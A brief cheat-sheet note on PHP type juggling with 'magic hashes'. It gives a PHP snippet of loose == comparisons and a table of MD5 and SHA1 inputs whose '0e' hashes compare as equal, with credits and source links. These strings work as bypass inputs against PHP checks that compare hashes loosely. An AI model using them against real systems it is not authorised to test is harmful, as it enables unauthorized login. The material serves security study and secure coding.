PHP Juggling type and magic hashes

Exploit

<?php
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2'         == '1e3');
var_dump('0x1234Ab'       == '1193131');
var_dump('0xABCdef'       == '     0xABCdef');
?>

Hash	“Magic” Number / String	Magic Hash	Found By
MD5	240610708	0e462097431906509019562988736854	Michal Spacek
SHA1	10932435112	0e07766915004133176347055865026311692244	Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham

Thanks to

• http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html
• https://www.whitehatsec.com/blog/magic-hashes/